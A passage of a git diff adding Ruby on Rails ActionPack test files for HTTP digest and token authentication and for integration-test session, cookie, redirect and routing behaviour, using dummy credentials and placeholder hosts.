+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please')
+ get :display
+
+ assert_response :success
+ assert assigns(:logged_in)
+ assert_equal 'Definitely Maybe', @response.body
+ end
+
+ test "authentication request with valid credential and nil session" do
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please')
+
+ get :display
+
+ assert_response :success
+ assert assigns(:logged_in)
+ assert_equal 'Definitely Maybe', @response.body
+ end
+
+ test "authentication request with request-uri that doesn't match credentials digest-uri" do
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please')
+ @request.env['PATH_INFO'] = "/proxied/uri"
+ get :display
+
+ assert_response :success
+ assert assigns(:logged_in)
+ assert_equal 'Definitely Maybe', @response.body
+ end
+
+ test "authentication request with absolute request uri (as in webrick)" do
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please')
+ @request.env["SERVER_NAME"] = "test.host"
+ @request.env['PATH_INFO'] = "/http_digest_authentication_test/dummy_digest"
+
+ get :display
+
+ assert_response :success
+ assert assigns(:logged_in)
+ assert_equal 'Definitely Maybe', @response.body
+ end
+
+ test "authentication request with absolute uri in credentials (as in IE)" do
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:url => "http://test.host/http_digest_authentication_test/dummy_digest",
+ :username => 'pretty', :password => 'please')
+
+ get :display
+
+ assert_response :success
+ assert assigns(:logged_in)
+ assert_equal 'Definitely Maybe', @response.body
+ end
+
+ test "authentication request with absolute uri in both request and credentials (as in Webrick with IE)" do
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:url => "http://test.host/http_digest_authentication_test/dummy_digest",
+ :username => 'pretty', :password => 'please')
+ @request.env['SERVER_NAME'] = "test.host"
+ @request.env['PATH_INFO'] = "/http_digest_authentication_test/dummy_digest"
+
+ get :display
+
+ assert_response :success
+ assert assigns(:logged_in)
+ assert_equal 'Definitely Maybe', @response.body
+ end
+
+ test "authentication request with password stored as ha1 digest hash" do
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'dhh',
+ :password => ::Digest::MD5::hexdigest(["dhh","SuperSecret","secret"].join(":")),
+ :password_is_ha1 => true)
+ get :display
+
+ assert_response :success
+ assert assigns(:logged_in)
+ assert_equal 'Definitely Maybe', @response.body
+ end
+
+ test "authentication request with _method" do
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please', :method => :post)
+ @request.env['rack.methodoverride.original_method'] = 'POST'
+ put :display
+
+ assert_response :success
+ assert assigns(:logged_in)
+ assert_equal 'Definitely Maybe', @response.body
+ end
+
+ test "validate_digest_response should fail with nil returning password_procedure" do
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => nil, :password => nil)
+ assert !ActionController::HttpAuthentication::Digest.validate_digest_response(@request, "SuperSecret"){nil}
+ end
+
+ test "authentication request with request-uri ending in '/'" do
+ @request.env['PATH_INFO'] = "/http_digest_authentication_test/dummy_digest/"
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please')
+
+ # simulate normalizing PATH_INFO
+ @request.env['PATH_INFO'] = "/http_digest_authentication_test/dummy_digest"
+ get :display
+
+ assert_response :success
+ assert_equal 'Definitely Maybe', @response.body
+ end
+
+ test "authentication request with request-uri ending in '?'" do
+ @request.env['PATH_INFO'] = "/http_digest_authentication_test/dummy_digest/?"
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please')
+
+ # simulate normalizing PATH_INFO
+ @request.env['PATH_INFO'] = "/http_digest_authentication_test/dummy_digest"
+ get :display
+
+ assert_response :success
+ assert_equal 'Definitely Maybe', @response.body
+ end
+
+ test "authentication request with absolute uri in credentials (as in IE) ending with /" do
+ @request.env['PATH_INFO'] = "/http_digest_authentication_test/dummy_digest/"
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:uri => "http://test.host/http_digest_authentication_test/dummy_digest/",
+ :username => 'pretty', :password => 'please')
+
+ # simulate normalizing PATH_INFO
+ @request.env['PATH_INFO'] = "/http_digest_authentication_test/dummy_digest"
+ get :display
+
+ assert_response :success
+ assert assigns(:logged_in)
+ assert_equal 'Definitely Maybe', @response.body
+ end
+
+ test "when sent a basic auth header, returns Unauthorized" do
+ @request.env['HTTP_AUTHORIZATION'] = 'Basic Gwf2aXq8ZLF3Hxq='
+
+ get :display
+
+ assert_response :unauthorized
+ end
+
+ private
+
+ def encode_credentials(options)
+ options.reverse_merge!(:nc => "00000001", :cnonce => "0a4f113b", :password_is_ha1 => false)
+ password = options.delete(:password)
+
+ # Perform unauthenticated request to retrieve digest parameters to use on subsequent request
+ method = options.delete(:method) || 'GET'
+
+ case method.to_s.upcase
+ when 'GET'
+ get :index
+ when 'POST'
+ post :index
+ end
+
+ assert_response :unauthorized
+
+ credentials = decode_credentials(@response.headers['WWW-Authenticate'])
+ credentials.merge!(options)
+ path_info = @request.env['PATH_INFO'].to_s
+ uri = options[:uri] || path_info
+ credentials.merge!(:uri => uri)
+ @request.env["ORIGINAL_FULLPATH"] = path_info
+ ActionController::HttpAuthentication::Digest.encode_credentials(method, credentials, password, options[:password_is_ha1])
+ end
+
+ def decode_credentials(header)
+ ActionController::HttpAuthentication::Digest.decode_credentials(header)
+ end
+end
diff --git a/actionpack/test/controller/http_token_authentication_test.rb b/actionpack/test/controller/http_token_authentication_test.rb
new file mode 100644
index 0000000..ebf6d22
--- /dev/null
+++ b/actionpack/test/controller/http_token_authentication_test.rb
@@ -0,0 +1,144 @@
+require 'abstract_unit'
+
+class HttpTokenAuthenticationTest < ActionController::TestCase
+ class DummyController < ActionController::Base
+ before_action :authenticate, only: :index
+ before_action :authenticate_with_request, only: :display
+ before_action :authenticate_long_credentials, only: :show
+
+ def index
+ render :text => "Hello Secret"
+ end
+
+ def display
+ render :text => 'Definitely Maybe'
+ end
+
+ def show
+ render :text => 'Only for loooooong credentials'
+ end
+
+ private
+
+ def authenticate
+ authenticate_or_request_with_http_token do |token, options|
+ token == 'lifo'
+ end
+ end
+
+ def authenticate_with_request
+ if authenticate_with_http_token { |token, options| token == '"quote" pretty' && options[:algorithm] == 'test' }
+ @logged_in = true
+ else
+ request_http_token_authentication("SuperSecret")
+ end
+ end
+
+ def authenticate_long_credentials
+ authenticate_or_request_with_http_token do |token, options|
+ token == '1234567890123456789012345678901234567890' && options[:algorithm] == 'test'
+ end
+ end
+ end
+
+ AUTH_HEADERS = ['HTTP_AUTHORIZATION', 'X-HTTP_AUTHORIZATION', 'X_HTTP_AUTHORIZATION', 'REDIRECT_X_HTTP_AUTHORIZATION']
+
+ tests DummyController
+
+ AUTH_HEADERS.each do |header|
+ test "successful authentication with #{header.downcase}" do
+ @request.env[header] = encode_credentials('lifo')
+ get :index
+
+ assert_response :success
+ assert_equal 'Hello Secret', @response.body, "Authentication failed for request header #{header}"
+ end
+ test "successful authentication with #{header.downcase} and long credentials" do
+ @request.env[header] = encode_credentials('1234567890123456789012345678901234567890', :algorithm => 'test')
+ get :show
+
+ assert_response :success
+ assert_equal 'Only for loooooong credentials', @response.body, "Authentication failed for request header #{header} and long credentials"
+ end
+ end
+
+ AUTH_HEADERS.each do |header|
+ test "unsuccessful authentication with #{header.downcase}" do
+ @request.env[header] = encode_credentials('h4x0r')
+ get :index
+
+ assert_response :unauthorized
+ assert_equal "HTTP Token: Access denied.\n", @response.body, "Authentication didn't fail for request header #{header}"
+ end
+ test "unsuccessful authentication with #{header.downcase} and long credentials" do
+ @request.env[header] = encode_credentials('h4x0rh4x0rh4x0rh4x0rh4x0rh4x0rh4x0rh4x0r')
+ get :show
+
+ assert_response :unauthorized
+ assert_equal "HTTP Token: Access denied.\n", @response.body, "Authentication didn't fail for request header #{header} and long credentials"
+ end
+ end
+
+ test "authentication request with badly formatted header" do
+ @request.env['HTTP_AUTHORIZATION'] = "Token foobar"
+ get :index
+
+ assert_response :unauthorized
+ assert_equal "HTTP Token: Access denied.\n", @response.body, "Authentication header was not properly parsed"
+ end
+
+ test "authentication request without credential" do
+ get :display
+
+ assert_response :unauthorized
+ assert_equal "HTTP Token: Access denied.\n", @response.body
+ assert_equal 'Token realm="SuperSecret"', @response.headers['WWW-Authenticate']
+ end
+
+ test "authentication request with invalid credential" do
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials('"quote" pretty')
+ get :display
+
+ assert_response :unauthorized
+ assert_equal "HTTP Token: Access denied.\n", @response.body
+ assert_equal 'Token realm="SuperSecret"', @response.headers['WWW-Authenticate']
+ end
+
+ test "token_and_options returns correct token" do
+ token = "rcHu+HzSFw89Ypyhn/896A=="
+ actual = ActionController::HttpAuthentication::Token.token_and_options(sample_request(token)).first
+ expected = token
+ assert_equal(expected, actual)
+ end
+
+ test "token_and_options returns correct token with value after the equal sign" do
+ token = 'rcHu+=HzSFw89Ypyhn/896A==f34'
+ actual = ActionController::HttpAuthentication::Token.token_and_options(sample_request(token)).first
+ expected = token
+ assert_equal(expected, actual)
+ end
+
+ test "token_and_options returns correct token with slashes" do
+ token = 'rcHu+\\\\"/896A'
+ actual = ActionController::HttpAuthentication::Token.token_and_options(sample_request(token)).first
+ expected = token
+ assert_equal(expected, actual)
+ end
+
+ test "token_and_options returns correct token with quotes" do
+ token = '\"quote\" pretty'
+ actual = ActionController::HttpAuthentication::Token.token_and_options(sample_request(token)).first
+ expected = token
+ assert_equal(expected, actual)
+ end
+
+ private
+
+ def sample_request(token)
+ @sample_request ||= OpenStruct.new authorization: %{Token token="#{token}"}
+ end
+
+ def encode_credentials(token, options = {})
+ ActionController::HttpAuthentication::Token.encode_credentials(token, options)
+ end
+end
diff --git a/actionpack/test/controller/integration_test.rb b/actionpack/test/controller/integration_test.rb
new file mode 100644
index 0000000..c3bdf74
--- /dev/null
+++ b/actionpack/test/controller/integration_test.rb
@@ -0,0 +1,787 @@
+require 'abstract_unit'
+require 'controller/fake_controllers'
+require 'action_view/vendor/html-scanner'
+
+class SessionTest < ActiveSupport::TestCase
+ StubApp = lambda { |env|
+ [200, {"Content-Type" => "text/html", "Content-Length" => "13"}, ["Hello, World!"]]
+ }
+
+ def setup
+ @session = ActionDispatch::Integration::Session.new(StubApp)
+ end
+
+ def test_https_bang_works_and_sets_truth_by_default
+ assert !@session.https?
+ @session.https!
+ assert @session.https?
+ @session.https! false
+ assert !@session.https?
+ end
+
+ def test_host!
+ assert_not_equal "glu.ttono.us", @session.host
+ @session.host! "rubyonrails.com"
+ assert_equal "rubyonrails.com", @session.host
+ end
+
+ def test_follow_redirect_raises_when_no_redirect
+ @session.stubs(:redirect?).returns(false)
+ assert_raise(RuntimeError) { @session.follow_redirect! }
+ end
+
+ def test_request_via_redirect_uses_given_method
+ path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue"}
+ @session.expects(:process).with(:put, path, args, headers)
+ @session.stubs(:redirect?).returns(false)
+ @session.request_via_redirect(:put, path, args, headers)
+ end
+
+ def test_request_via_redirect_follows_redirects
+ path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue"}
+ @session.stubs(:redirect?).returns(true, true, false)
+ @session.expects(:follow_redirect!).times(2)
+ @session.request_via_redirect(:get, path, args, headers)
+ end
+
+ def test_request_via_redirect_returns_status
+ path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue"}
+ @session.stubs(:redirect?).returns(false)
+ @session.stubs(:status).returns(200)
+ assert_equal 200, @session.request_via_redirect(:get, path, args, headers)
+ end
+
+ def test_get_via_redirect
+ path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue" }
+ @session.expects(:request_via_redirect).with(:get, path, args, headers)
+ @session.get_via_redirect(path, args, headers)
+ end
+
+ def test_post_via_redirect
+ path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue" }
+ @session.expects(:request_via_redirect).with(:post, path, args, headers)
+ @session.post_via_redirect(path, args, headers)
+ end
+
+ def test_patch_via_redirect
+ path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue" }
+ @session.expects(:request_via_redirect).with(:patch, path, args, headers)
+ @session.patch_via_redirect(path, args, headers)
+ end
+
+ def test_put_via_redirect
+ path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue" }
+ @session.expects(:request_via_redirect).with(:put, path, args, headers)
+ @session.put_via_redirect(path, args, headers)
+ end
+
+ def test_delete_via_redirect
+ path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue" }
+ @session.expects(:request_via_redirect).with(:delete, path, args, headers)
+ @session.delete_via_redirect(path, args, headers)
+ end
+
+ def test_get
+ path = "/index"; params = "blah"; headers = {:location => 'blah'}
+ @session.expects(:process).with(:get,path,params,headers)
+ @session.get(path,params,headers)
+ end
+
+ def test_post
+ path = "/index"; params = "blah"; headers = {:location => 'blah'}
+ @session.expects(:process).with(:post,path,params,headers)
+ @session.post(path,params,headers)
+ end
+
+ def test_patch
+ path = "/index"; params = "blah"; headers = {:location => 'blah'}
+ @session.expects(:process).with(:patch,path,params,headers)
+ @session.patch(path,params,headers)
+ end
+
+ def test_put
+ path = "/index"; params = "blah"; headers = {:location => 'blah'}
+ @session.expects(:process).with(:put,path,params,headers)
+ @session.put(path,params,headers)
+ end
+
+ def test_delete
+ path = "/index"; params = "blah"; headers = {:location => 'blah'}
+ @session.expects(:process).with(:delete,path,params,headers)
+ @session.delete(path,params,headers)
+ end
+
+ def test_head
+ path = "/index"; params = "blah"; headers = {:location => 'blah'}
+ @session.expects(:process).with(:head,path,params,headers)
+ @session.head(path,params,headers)
+ end
+
+ def test_options
+ path = "/index"; params = "blah"; headers = {:location => 'blah'}
+ @session.expects(:process).with(:options,path,params,headers)
+ @session.options(path,params,headers)
+ end
+
+ def test_xml_http_request_get
+ path = "/index"; params = "blah"; headers = {:location => 'blah'}
+ headers_after_xhr = headers.merge(
+ "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest",
+ "HTTP_ACCEPT" => "text/javascript, text/html, application/xml, text/xml, */*"
+ )
+ @session.expects(:process).with(:get,path,params,headers_after_xhr)
+ @session.xml_http_request(:get,path,params,headers)
+ end
+
+ def test_xml_http_request_post
+ path = "/index"; params = "blah"; headers = {:location => 'blah'}
+ headers_after_xhr = headers.merge(
+ "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest",
+ "HTTP_ACCEPT" => "text/javascript, text/html, application/xml, text/xml, */*"
+ )
+ @session.expects(:process).with(:post,path,params,headers_after_xhr)
+ @session.xml_http_request(:post,path,params,headers)
+ end
+
+ def test_xml_http_request_patch
+ path = "/index"; params = "blah"; headers = {:location => 'blah'}
+ headers_after_xhr = headers.merge(
+ "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest",
+ "HTTP_ACCEPT" => "text/javascript, text/html, application/xml, text/xml, */*"
+ )
+ @session.expects(:process).with(:patch,path,params,headers_after_xhr)
+ @session.xml_http_request(:patch,path,params,headers)
+ end
+
+ def test_xml_http_request_put
+ path = "/index"; params = "blah"; headers = {:location => 'blah'}
+ headers_after_xhr = headers.merge(
+ "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest",
+ "HTTP_ACCEPT" => "text/javascript, text/html, application/xml, text/xml, */*"
+ )
+ @session.expects(:process).with(:put,path,params,headers_after_xhr)
+ @session.xml_http_request(:put,path,params,headers)
+ end
+
+ def test_xml_http_request_delete
+ path = "/index"; params = "blah"; headers = {:location => 'blah'}
+ headers_after_xhr = headers.merge(
+ "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest",
+ "HTTP_ACCEPT" => "text/javascript, text/html, application/xml, text/xml, */*"
+ )
+ @session.expects(:process).with(:delete,path,params,headers_after_xhr)
+ @session.xml_http_request(:delete,path,params,headers)
+ end
+
+ def test_xml_http_request_head
+ path = "/index"; params = "blah"; headers = {:location => 'blah'}
+ headers_after_xhr = headers.merge(
+ "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest",
+ "HTTP_ACCEPT" => "text/javascript, text/html, application/xml, text/xml, */*"
+ )
+ @session.expects(:process).with(:head,path,params,headers_after_xhr)
+ @session.xml_http_request(:head,path,params,headers)
+ end
+
+ def test_xml_http_request_options
+ path = "/index"; params = "blah"; headers = {:location => 'blah'}
+ headers_after_xhr = headers.merge(
+ "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest",
+ "HTTP_ACCEPT" => "text/javascript, text/html, application/xml, text/xml, */*"
+ )
+ @session.expects(:process).with(:options,path,params,headers_after_xhr)
+ @session.xml_http_request(:options,path,params,headers)
+ end
+
+ def test_xml_http_request_override_accept
+ path = "/index"; params = "blah"; headers = {:location => 'blah', "HTTP_ACCEPT" => "application/xml"}
+ headers_after_xhr = headers.merge(
+ "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest"
+ )
+ @session.expects(:process).with(:post,path,params,headers_after_xhr)
+ @session.xml_http_request(:post,path,params,headers)
+ end
+end
+
+class IntegrationTestTest < ActiveSupport::TestCase
+ def setup
+ @test = ::ActionDispatch::IntegrationTest.new(:app)
+ @test.class.stubs(:fixture_table_names).returns([])
+ @session = @test.open_session
+ end
+
+ def test_opens_new_session
+ session1 = @test.open_session { |sess| }
+ session2 = @test.open_session # implicit session
+
+ assert_respond_to session1, :assert_template, "open_session makes assert_template available"
+ assert_respond_to session2, :assert_template, "open_session makes assert_template available"
+ assert !session1.equal?(session2)
+ end
+
+ # RSpec mixes Matchers (which has a #method_missing) into
+ # IntegrationTest's superclass. Make sure IntegrationTest does not
+ # try to delegate these methods to the session object.
+ def test_does_not_prevent_method_missing_passing_up_to_ancestors
+ mixin = Module.new do
+ def method_missing(name, *args)
+ name.to_s == 'foo' ? 'pass' : super
+ end
+ end
+ @test.class.superclass.__send__(:include, mixin)
+ begin
+ assert_equal 'pass', @test.foo
+ ensure
+ # leave other tests as unaffected as possible
+ mixin.__send__(:remove_method, :method_missing)
+ end
+ end
+end
+
+# Tests that integration tests don't call Controller test methods for processing.
+# Integration tests have their own setup and teardown.
+class IntegrationTestUsesCorrectClass < ActionDispatch::IntegrationTest
+ def self.fixture_table_names
+ []
+ end
+
+ def test_integration_methods_called
+ reset!
+ @integration_session.stubs(:generic_url_rewriter)
+ @integration_session.stubs(:process)
+
+ %w( get post head patch put delete options ).each do |verb|
+ assert_nothing_raised("'#{verb}' should use integration test methods") { __send__(verb, '/') }
+ end
+ end
+end
+
+class IntegrationProcessTest < ActionDispatch::IntegrationTest
+ class IntegrationController < ActionController::Base
+ def get
+ respond_to do |format|
+ format.html { render :text => "OK", :status => 200 }
+ format.js { render :text => "JS OK", :status => 200 }
+ end
+ end
+
+ def get_with_params
+ render :text => "foo: #{params[:foo]}", :status => 200
+ end
+
+ def post
+ render :text => "Created", :status => 201
+ end
+
+ def method
+ render :text => "method: #{request.method.downcase}"
+ end
+
+ def cookie_monster
+ cookies["cookie_1"] = nil
+ cookies["cookie_3"] = "chocolate"
+ render :text => "Gone", :status => 410
+ end
+
+ def set_cookie
+ cookies["foo"] = 'bar'
+ head :ok
+ end
+
+ def get_cookie
+ render :text => cookies["foo"]
+ end
+
+ def redirect
+ redirect_to :action => "get"
+ end
+ end
+
+ def test_get
+ with_test_route_set do
+ get '/get'
+ assert_equal 200, status
+ assert_equal "OK", status_message
+ assert_response 200
+ assert_response :success
+ assert_response :ok
+ assert_equal({}, cookies.to_hash)
+ assert_equal "OK", body
+ assert_equal "OK", response.body
+ assert_kind_of HTML::Document, html_document
+ assert_equal 1, request_count
+ end
+ end
+
+ def test_post
+ with_test_route_set do
+ post '/post'
+ assert_equal 201, status
+ assert_equal "Created", status_message
+ assert_response 201
+ assert_response :success
+ assert_response :created
+ assert_equal({}, cookies.to_hash)
+ assert_equal "Created", body
+ assert_equal "Created", response.body
+ assert_kind_of HTML::Document, html_document
+ assert_equal 1, request_count
+ end
+ end
+
+ test 'response cookies are added to the cookie jar for the next request' do
+ with_test_route_set do
+ self.cookies['cookie_1'] = "sugar"
+ self.cookies['cookie_2'] = "oatmeal"
+ get '/cookie_monster'
+ assert_equal "cookie_1=; path=/\ncookie_3=chocolate; path=/", headers["Set-Cookie"]
+ assert_equal({"cookie_1"=>"", "cookie_2"=>"oatmeal", "cookie_3"=>"chocolate"}, cookies.to_hash)
+ end
+ end
+
+ test 'cookie persist to next request' do
+ with_test_route_set do
+ get '/set_cookie'
+ assert_response :success
+
+ assert_equal "foo=bar; path=/", headers["Set-Cookie"]
+ assert_equal({"foo"=>"bar"}, cookies.to_hash)
+
+ get '/get_cookie'
+ assert_response :success
+ assert_equal "bar", body
+
+ assert_equal nil, headers["Set-Cookie"]
+ assert_equal({"foo"=>"bar"}, cookies.to_hash)
+ end
+ end
+
+ test 'cookie persist to next request on another domain' do
+ with_test_route_set do
+ host! "37s.backpack.test"
+
+ get '/set_cookie'
+ assert_response :success
+
+ assert_equal "foo=bar; path=/", headers["Set-Cookie"]
+ assert_equal({"foo"=>"bar"}, cookies.to_hash)
+
+ get '/get_cookie'
+ assert_response :success
+ assert_equal "bar", body
+
+ assert_equal nil, headers["Set-Cookie"]
+ assert_equal({"foo"=>"bar"}, cookies.to_hash)
+ end
+ end
+
+ def test_redirect
+ with_test_route_set do
+ get '/redirect'
+ assert_equal 302, status
+ assert_equal "Found", status_message
+ assert_response 302
+ assert_response :redirect
+ assert_response :found
+ assert_equal "<html><body>You are being <a href=\"http://www.example.com/get\">redirected</a>.</body></html>", response.body
+ assert_kind_of HTML::Document, html_document
+ assert_equal 1, request_count
+
+ follow_redirect!
+ assert_response :success
+ assert_equal "/get", path
+ end
+ end
+
+ def test_xml_http_request_get
+ with_test_route_set do
+ xhr :get, '/get'
+ assert_equal 200, status
+ assert_equal "OK", status_message
+ assert_response 200
+ assert_response :success
+ assert_response :ok
+ assert_equal "JS OK", response.body
+ end
+ end
+
+ def test_request_with_bad_format
+ with_test_route_set do
+ xhr :get, '/get.php'
+ assert_equal 406, status
+ assert_response 406
+ assert_response :not_acceptable
+ end
+ end
+
+ def test_get_with_query_string
+ with_test_route_set do
+ get '/get_with_params?foo=bar'
+ assert_equal '/get_with_params?foo=bar', request.env["REQUEST_URI"]
+ assert_equal '/get_with_params?foo=bar', request.fullpath
+ assert_equal "foo=bar", request.env["QUERY_STRING"]
+ assert_equal 'foo=bar', request.query_string
+ assert_equal 'bar', request.parameters['foo']
+
+ assert_equal 200, status
+ assert_equal "foo: bar", response.body
+ end
+ end
+
+ def test_get_with_parameters
+ with_test_route_set do
+ get '/get_with_params', :foo => "bar"
+ assert_equal '/get_with_params', request.env["PATH_INFO"]
+ assert_equal '/get_with_params', request.path_info
+ assert_equal 'foo=bar', request.env["QUERY_STRING"]
+ assert_equal 'foo=bar', request.query_string
+ assert_equal 'bar', request.parameters['foo']
+
+ assert_equal 200, status
+ assert_equal "foo: bar", response.body
+ end
+ end
+
+ def test_head
+ with_test_route_set do
+ head '/get'
+ assert_equal 200, status
+ assert_equal "", body
+
+ head '/post'
+ assert_equal 201, status
+ assert_equal "", body
+
+ get '/get/method'
+ assert_equal 200, status
+ assert_equal "method: get", body
+
+ head '/get/method'
+ assert_equal 200, status
+ assert_equal "", body
+ end
+ end
+
+ def test_generate_url_with_controller
+ assert_equal 'http://www.example.com/foo', url_for(:controller => "foo")
+ end
+
+ def test_port_via_host!
+ with_test_route_set do
+ host! 'www.example.com:8080'
+ get '/get'
+ assert_equal 8080, request.port
+ end
+ end
+
+ def test_port_via_process
+ with_test_route_set do
+ get 'http://www.example.com:8080/get'
+ assert_equal 8080, request.port
+ end
+ end
+
+ def test_https_and_port_via_host_and_https!
+ with_test_route_set do
+ host! 'www.example.com'
+ https! true
+
+ get '/get'
+ assert_equal 443, request.port
+ assert_equal true, request.ssl?
+
+ host! 'www.example.com:443'
+ https! true
+
+ get '/get'
+ assert_equal 443, request.port
+ assert_equal true, request.ssl?
+
+ host! 'www.example.com:8443'
+ https! true
+
+ get '/get'
+ assert_equal 8443, request.port
+ assert_equal true, request.ssl?
+ end
+ end
+
+ def test_https_and_port_via_process
+ with_test_route_set do
+ get 'https://www.example.com/get'
+ assert_equal 443, request.port
+ assert_equal true, request.ssl?
+
+ get 'https://www.example.com:8443/get'
+ assert_equal 8443, request.port
+ assert_equal true, request.ssl?
+ end
+ end
+
+ private
+ def with_test_route_set
+ with_routing do |set|
+ controller = ::IntegrationProcessTest::IntegrationController.clone
+ controller.class_eval do
+ include set.url_helpers
+ end
+
+ set.draw do
+ match ':action', :to => controller, :via => [:get, :post]
+ get 'get/:action', :to => controller
+ end
+
+ self.singleton_class.send(:include, set.url_helpers)
+
+ yield
+ end
+ end
+end
+
+class MetalIntegrationTest < ActionDispatch::IntegrationTest
+ include SharedTestRoutes.url_helpers
+
+ class Poller
+ def self.call(env)
+ if env["PATH_INFO"] =~ /^\/success/
+ [200, {"Content-Type" => "text/plain", "Content-Length" => "12"}, ["Hello World!"]]
+ else
+ [404, {"Content-Type" => "text/plain", "Content-Length" => "0"}, []]
+ end
+ end
+ end
+
+ def setup
+ @app = Poller
+ end
+
+ def test_successful_get
+ get "/success"
+ assert_response 200
+ assert_response :success
+ assert_response :ok
+ assert_equal "Hello World!", response.body
+ end
+
+ def test_failed_get
+ get "/failure"
+ assert_response 404
+ assert_response :not_found
+ assert_equal '', response.body
+ end
+
+ def test_generate_url_without_controller
+ assert_equal 'http://www.example.com/foo', url_for(:controller => "foo")
+ end
+
+ def test_pass_headers
+ get "/success", {}, "Referer" => "http://www.example.com/foo", "Host" => "http://nohost.com"
+
+ assert_equal "http://nohost.com", @request.env["HTTP_HOST"]
+ assert_equal "http://www.example.com/foo", @request.env["HTTP_REFERER"]
+ end
+
+ def test_pass_env
+ get "/success", {}, "HTTP_REFERER" => "http://test.com/", "HTTP_HOST" => "http://test.com"
+
+ assert_equal "http://test.com", @request.env["HTTP_HOST"]
+ assert_equal "http://test.com/", @request.env["HTTP_REFERER"]
+ end
+
+end
+
+class ApplicationIntegrationTest < ActionDispatch::IntegrationTest
+ class TestController < ActionController::Base
+ def index
+ render :text => "index"
+ end
+ end
+
+ def self.call(env)
+ routes.call(env)
+ end
+
+ def self.routes
+ @routes ||= ActionDispatch::Routing::RouteSet.new
+ end
+
+ class MountedApp
+ def self.routes
+ @routes ||= ActionDispatch::Routing::RouteSet.new
+ end
+
+ routes.draw do
+ get 'baz', :to => 'application_integration_test/test#index', :as => :baz
+ end
+
+ def self.call(*)
+ end
+ end
+
+ routes.draw do
+ get '', :to => 'application_integration_test/test#index', :as => :empty_string
+
+ get 'foo', :to => 'application_integration_test/test#index', :as => :foo
+ get 'bar', :to => 'application_integration_test/test#index', :as => :bar
+
+ mount MountedApp => '/mounted', :as => "mounted"
+ end
+
+ def app
+ self.class
+ end
+
+ test "includes route helpers" do
+ assert_equal '/', empty_string_path
+ assert_equal '/foo', foo_path
+ assert_equal '/bar', bar_path
+ end
+
+ test "includes mounted helpers" do
+ assert_equal '/mounted/baz', mounted.baz_path
+ end
+
+ test "route helpers after controller access" do
+ get '/'
+ assert_equal '/', empty_string_path
+
+ get '/foo'
+ assert_equal '/foo', foo_path
+
+ get '/bar'
+ assert_equal '/bar', bar_path
+ end
+
+ test "missing route helper before controller access" do
+ assert_raise(NameError) { missing_path }
+ end
+
+ test "missing route helper after controller access" do
+ get '/foo'
+ assert_raise(NameError) { missing_path }
+ end
+
+ test "process do not modify the env passed as argument" do
+ env = { :SERVER_NAME => 'server', 'action_dispatch.custom' => 'custom' }
+ old_env = env.dup
+ get '/foo', nil, env
+ assert_equal old_env, env
+ end
+end
+
+class EnvironmentFilterIntegrationTest < ActionDispatch::IntegrationTest
+ class TestController < ActionController::Base
+ def post
+ render :text => "Created", :status => 201
+ end
+ end
+
+ def self.call(env)
+ env["action_dispatch.parameter_filter"] = [:password]
+ routes.call(env)
+ end
+
+ def self.routes
+ @routes ||= ActionDispatch::Routing::RouteSet.new
+ end
+
+ routes.draw do
+ match '/post', :to => 'environment_filter_integration_test/test#post', :via => :post
+ end
+
+ def app
+ self.class
+ end
+
+ test "filters rack request form vars" do
+ post "/post", :username => 'cjolly', :password => 'secret'
+
+ assert_equal 'cjolly', request.filtered_parameters['username']
+ assert_equal '[FILTERED]', request.filtered_parameters['password']
+ assert_equal '[FILTERED]', request.filtered_env['rack.request.form_vars']
+ end
+end
+
+class UrlOptionsIntegrationTest < ActionDispatch::IntegrationTest
+ class FooController < ActionController::Base
+ def index
+ render :text => "foo#index"
+ end
+
+ def show
+ render :text => "foo#show"
+ end
+
+ def edit
+ render :text => "foo#show"
+ end
+ end
+
+ class BarController < ActionController::Base
+ def default_url_options
+ { :host => "bar.com" }
+ end
+
+ def index
+ render :text => "foo#index"
+ end
+ end
+
+ def self.routes
+ @routes ||= ActionDispatch::Routing::RouteSet.new
+ end
+
+ def self.call(env)
+ routes.call(env)
+ end
+
+ def app
+ self.class
+ end
+
+ routes.draw do
+ default_url_options :host => "foo.com"
+
+ scope :module => "url_options_integration_test" do
+ get "/foo" => "foo#index", :as => :foos
+ get "/foo/:id" => "foo#show", :as => :foo
+ get "/foo/:id/edit" => "foo#edit", :as => :edit_foo
+ get "/bar" => "bar#index", :as => :bars
+ end
+ end
+
+ test "session uses default url options from routes" do
+ assert_equal "http://foo.com/foo", foos_url
+ end
+
+ test "current host overrides default url options from routes" do
+ get "/foo"
+ assert_response :success
+ assert_equal "http://www.example.com/foo", foos_url
+ end
+
+ test "controller can override default url options from request" do
+ get "/bar"
+ assert_response :success
+ assert_equal "http://bar.com/foo", foos_url
+ end
+
+ def test_can_override_default_url_options
+ original_host = default_url_options.dup
+
+ default_url_options[:host] = "foobar.com"
